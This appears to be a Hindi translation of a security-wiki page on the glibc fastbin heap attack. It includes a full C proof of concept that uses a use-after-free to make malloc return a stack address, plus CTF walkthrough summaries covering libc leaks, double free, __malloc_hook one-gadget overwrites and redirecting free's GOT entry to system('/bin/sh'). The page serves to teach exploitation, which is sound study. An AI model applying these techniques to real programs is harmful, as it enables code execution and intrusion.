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Fast Bin Attack

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मौलिक जानकारी

फास्ट बिन क्या है इसके बारे में अधिक जानकारी के लिए इस पेज की जाँच करें:

Bins & Memory Allocations

क्योंकि फास्ट बिन एक सिंगली लिंक्ड सूची है, इसमें अन्य बिन्स की तुलना में कम सुरक्षा होती है और किसी भी मेमोरी पते में चंक को बाद में आवंटित करने के लिए एक फ्रीड फास्ट बिन चंक में एक पते को संशोधित करना पर्याप्त है।

सारांश में:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

आप एक पूर्ण उदाहरण यहाँ से पा सकते हैं जिसमें एक बहुत अच्छी तरह से समझाया गया कोड है https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

यदि ग्लोबल वेरिएबल global_max_fast की मान को एक बड़ी संख्या से अधिलेखित किया जा सकता है, तो यह बड़े आकार के फास्ट बिन चंक उत्पन्न करने की अनुमति देता है, जिससे पहले संभावना नहीं थी। इस स्थिति का उपयोग बड़े बिन हमला और अनसॉर्टेड बिन हमला के संदर्भ में उपयुक्त है।

उदाहरण

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:

  • चंक आवंटित करना संभव है, उन्हें मुक्त करना, उनकी सामग्री पढ़ना और उन्हें भरना (एक ओवरफ्लो दुरुपयोगिता के साथ)।

  • जानकारी लीक के लिए चंक को समेटें: तकनीक आमतौर पर ओवरफ्लो का दुरुपयोग करना है ताकि एक नकली prev_size बनाया जा सके ताकि एक पिछला चंक एक बड़े चंक में डाला जाए, इसलिए जब एक और चंक वाला बड़ा चंक आवंटित किया जाता है, तो उसकी डेटा को प्रिंट करना संभव है और libc (main_arena+88) का पता लगाना संभव है।

  • मैलोक हुक को अधिलेखित करें: इसके लिए, और पिछले ओवरलैपिंग स्थिति का दुरुपयोग करने के लिए, दो चंक होने की संभावना थी जो एक ही स्मृति को दर्शा रहे थे। इसलिए, उन्हें दोनों मुक्त करना (सुरक्षा प्रोटेक्शन से बचने के लिए बीच में एक और चंक को मुक्त करना) संभव था कि फास्ट बिन में एक ही चंक दो बार हो। फिर, इसे फिर से आवंटित करना संभव था, अगले चंक के पते को __malloc_hook के एक बिट पहले पहुंचाने के लिए अधिलेखित करना संभव था (ताकि यह एक निःशुल्क आकार मानता है - एक और बायपास), इसे फिर से आवंटित करना और फिर एक चंक आवंटित करना जो मैलोक हुक्स को प्राप्त करेगा। अंत में एक वन गैजेट वहां लिखा गया था।

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:

  • एक हीप ओवरफ्लो और उसके बाद का उपयोग फ्री और डबल फ्री करने के कारण होता है क्योंकि जब एक चंक मुक्त किया जाता है तो संभव है कि पॉइंटर्स को पुनः उपयोग किया जा सकता है और पुनः मुक्त किया जा सकता है

  • Libc जानकारी लीक: कुछ चंक्स को मुक्त करें और उन्हें मुख्य एरिना स्थान के एक हिस्से का पॉइंटर मिलेगा। जैसे ही आप मुक्त पॉइंटर्स को पुनः उपयोग कर सकते हैं, इस पते को पढ़ें।

  • फास्ट बिन हमला: सभी आवंटन के पॉइंटर्स को एक एरे में संग्रहीत किया जाता है, इसलिए हम कुछ फास्ट बिन चंक्स को मुक्त कर सकते हैं और अंतिम वाले में पते को अधिलेखित करने के लिए पता बदल सकते हैं। फिर, हमें एक बराबर आकार के कुछ चंक्स आवंटित करने की अनुमति है और हमें पहले वास्तविक चंक और फिर नकली चंक प्राप्त होगा जिसमें पॉइंटर्स का एरे होगा। अब हम इस आवंटन पॉइंटर्स को अधिलेखित करने के लिए इसे अधिलेखित कर सकते हैं ताकि free का GOT पता system को पॉइंट करें और फिर चंक 1 में "/bin/sh" लिखें ताकि फिर free(chunk1) को कॉल करने पर system("/bin/sh") का निष्पादन हो।

  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html

  • अनसॉर्टेड बिन में एक बाइट ओवरफ्लो का दुरुपयोग करने का एक और उदाहरण और एक libc जानकारी लीक प्राप्त करने के बाद एक फास्ट बिन हमला करने के लिए एक मैलोक हुक को एक वन गैजेट पते के साथ अधिलेखित करने का उपयोग किया गया

  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html

  • एक जानकारी लीक का दुरुपयोग करने के बाद अनसॉर्टेड बिन का दुरुपयोग करने के बाद एक libc पता और एक PIE पता लीक करने के लिए, इस CTF का शिकार एक फास्ट बिन हमला करने का उपयोग किया गया था ताकि नियंत्रित चंक्स के पॉइंटर्स के पते लिखने के लिए एक चंक को आवंटित करना संभव हो। इसलिए कुछ फास्ट बिन हमलों को अधिलेखित करने से पहले लिब्स/हीप पतों का दुरुपयोग करना सामान्य है (जब आवश्यक हो)।

  • रोबोट फैक्टरी। ब्लैकहैट MEA CTF 2022

  • हम केवल 0x100 से अधिक आकार के चंक्स आवंटित कर सकते हैं।

  • एक अनसॉर्टेड बिन हमले का उपयोग करके global_max_fast को अधिलेखित करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिटों को संशोधित करने की आवश्यकता है, लेकिन हमें 16 बिटों को संशोधित करना है)।

  • फास्ट बिन हमला एक ग्लोबल एरे को संशोधित करने के लिए। यह एक अर्बिट्रे रीड/राइट प्राइमिटिव देता है, जिससे कि GOT को संशोधित किया जा सकता है और किसी कार्य को system को पॉइंट करने के लिए सेट किया जा सकता है।

Unsorted Bin Attack
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